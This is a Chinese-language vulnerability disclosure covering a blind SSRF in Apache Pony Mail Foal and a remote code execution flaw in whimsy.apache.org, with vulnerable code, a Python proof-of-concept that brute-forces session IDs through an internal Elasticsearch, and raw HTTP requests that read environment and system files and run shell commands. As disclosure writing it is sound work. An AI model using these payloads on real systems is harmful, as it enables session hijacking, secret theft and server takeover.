Apache漏洞分析:被遗忘的服务器端请求伪造与远程代码执行

本文详细分析了Apache基金会项目中两个被忽视的安全漏洞:Pony Mail Foal的服务器端请求伪造和whimsy.apache.org的远程代码执行,包含技术细节、概念验证和修复建议。

漏洞分析:Apache中被遗忘的安全隐患

在2024年的安全研究中,我们发现了Apache基金会项目中的几个漏洞,这些漏洞在我们的漏洞报告和CVE分配过程中似乎"迷失在翻译中"。尽管这些发现已被Apache修复,但它们仍然属于那种真实存在但未获得CVE编号的特殊漏洞类别。

漏洞一:Apache Pony Mail Foal中的服务器端请求伪造

概述

Apache Pony Mail Foal存在盲服务器端请求伪造漏洞,允许攻击者向服务器发送有限的精心构造请求,可能导致未经授权访问内部资源。

产品概述

Apache Pony Mail Foal是一个基于网络的邮件归档浏览器,能够扩展到数百万封归档邮件,支持每秒数百次请求。它使用OAuth2进行身份验证,并使用ElasticSearch进行存储和搜索。

技术细节

OAuth2端点允许用户在oauth_token参数中指定任意URL,包括通常无法公开访问的内部URL。攻击者可以利用此功能向内部URL发送有限的精心构造POST请求,如果提供了触发重定向的URL,还可以发送GET请求。

易受攻击的代码位于server/plugins/oauthGeneric.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
async def process(
    server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:
    
    debug(server, f"oauth/indata: {indata}")
    key = indata.get("key", "")
    state = indata.get("state")
    code = indata.get("code")
    id_token = indata.get("id_token")
    oauth_token = indata.get("oauth_token")
    
    rv: typing.Optional[dict] = None
    
    # Google OAuth - currently fetches email address only
    if key == "google" and id_token and server.config.oauth.google_client_id:
        rv = await plugins.oauthGoogle.process(indata, session, server)
    
    # GitHub OAuth - Fetches name and email
    elif key == "github" and code and server.config.oauth.github_client_id:
        rv = await plugins.oauthGithub.process(indata, session, server)
    
    # Generic OAuth handler, only one we support for now. Works with ASF OAuth.
    elif state and code and oauth_token:
        rv = await plugins.oauthGeneric.process(indata, session, server)
    
    if rv:
        # [...]
    
    return {"okay": False, "message": "Could not process OAuth login!"}

server/plugins/oauthGeneric.py中的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
    # Extract domain, allowing for :port
    # Does not handle user/password prefix etc
    m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
    if m:
        oauth_domain = m.group(1)
        headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
        # This is a synchronous process, so we offload it to an async runner in order to let the main loop continue.
        async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
            js = await rv.json() # [1]
            js["oauth_domain"] = oauth_domain
        return js
    return None

概念验证

我们的概念验证假设在localhost:9200有一个Elasticsearch服务器,仅可从运行Pony Mail的服务器访问,并用于存储包括会话标识符在内的数据。

利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

def exfil(session_id, target):
    ORIG_POST_DATA = {
    "key": "user",
    "state": "z",
    "code": "z",
    "oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
    }
    POST_URL = "/api/oauth.json"
    POST_DATA = ORIG_POST_DATA.copy()
    POST_DATA["oauth_token"] = POST_DATA["oauth_token"].replace("__INJECTION__", session_id)
    res = requests.post(target + POST_URL, json=POST_DATA)
    if res.status_code == 500:
        return False
    return True

def main():
    TARGET = "http://localhost:1080"
    session_id = ""
    for i in range(36):
        for c in "0123456789abcdef-":
            if exfil(session_id + c, TARGET):
                session_id += c
                print("Session ID: " + session_id)
                break

if __name__ == "__main__":
    main()

建议缓解措施

遵循推荐指南防止OAuth端点向内部URL/IP地址发出请求:OWASP SSRF预防指南

漏洞二:whimsy.apache.org上的远程代码执行

概述

whimsy.apache.org/ruby2js.cgi允许用户指定配置文件的路径,该文件应是一个将由instance_eval评估的ruby脚本。攻击者能够通过指定/proc/self/environ作为配置文件在服务器上执行任意ruby代码。

技术细节

ruby2js.cgi文件可以在whimsy源代码仓库中找到:

1
2
3
4
#!/usr/bin/env ruby
Dir.chdir "/srv/git/ruby2js/demo"
$:.unshift '/srv/git/ruby2js/lib'
load "./ruby2js.rb"

它加载ruby2js.rb,该文件来自此项目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# File: ruby2js/demo/ruby2js.rb
# L34-L45
  env['QUERY_STRING'].to_s.split('&').each do |opt|
    key, value = opt.split('=', 2)
    if key == 'ruby'
      @ruby = CGI.unescape(value)
    elsif key == 'filter'
      selected = CGI.unescape(value).split(',')
    elsif value
      ARGV.push("--#{key}=#{CGI.unescape(value)}")  # [1]
    else
      ARGV.push("--#{key}")
    end
  end

# L53-L162
  require 'optparse'
  opts = OptionParser.new

  opts.on('-C', '--config [FILE]', "configuration file to use (default is config/ruby2js.rb)") {|filename|
    options[:config_file] = filename
  }

  opts.parse!  # [2]

# L643
    converted = Ruby2JS.convert(@ruby, options)  # [3]

在[1]处,脚本将QUERY_STRING转换为ARGV数组,然后在[2]处使用optparse类解析ARGV。用户能够从查询参数config=/path/to/file或C=/path/to.file设置options[:config_file]。

在[3]处,使用解析后的选项调用Ruby2JS.convert。

1
2
3
4
5
6
7
8
9
# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js.rb#L261-L263
      if options[:config_file]
        options = ConfigurationDSL.load_from_file(options[:config_file], options).to_h  # [4]
      end

# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js/configuration_dsl.rb#L3-L5
    def self.load_from_file(config_file, options = {})
      new(options).tap { _1.instance_eval(File.read(config_file), config_file, 1) }  # [5]
    end

最终,config_file由instance_eval评估。

概念验证

File.read("/etc/hosts")

1
https://whimsy.apache.org/ruby2js.cgi/;puts%22%22;puts%20File.read(%22/etc/hosts%22);exit;?config=/proc/self/environ

File.read("/proc/self/environ")

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20File.read("/proc/self/environ");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"ruby":""}

Dir[’/srv/*']

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20Dir['/srv/*'];exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 24
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"ruby":"42","ast":true}

IO.read("|id;whoami;ifconfig;ip addr")

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20IO.read("|id;whoami;ifconfig;ip%20addr");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"ruby":""}

修复建议

  1. 移除ruby2js.cgi,或添加LDAP基本身份验证(如/members和/secretary中实现的)
  2. 由于在测试期间成功泄露了/srv/ldap.txt中的秘密,请使/srv/ldap.txt中存储的所有秘密值失效并轮换,以防止在传输过程中泄露任何秘密值的可能性
  3. 检查Web日志以查找任何潜在的先前利用尝试

致谢

STAR Labs SG Pte. Ltd.的Li Jiantao (@CurseRed)和Devesh Logendran (@starlabs_sg)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计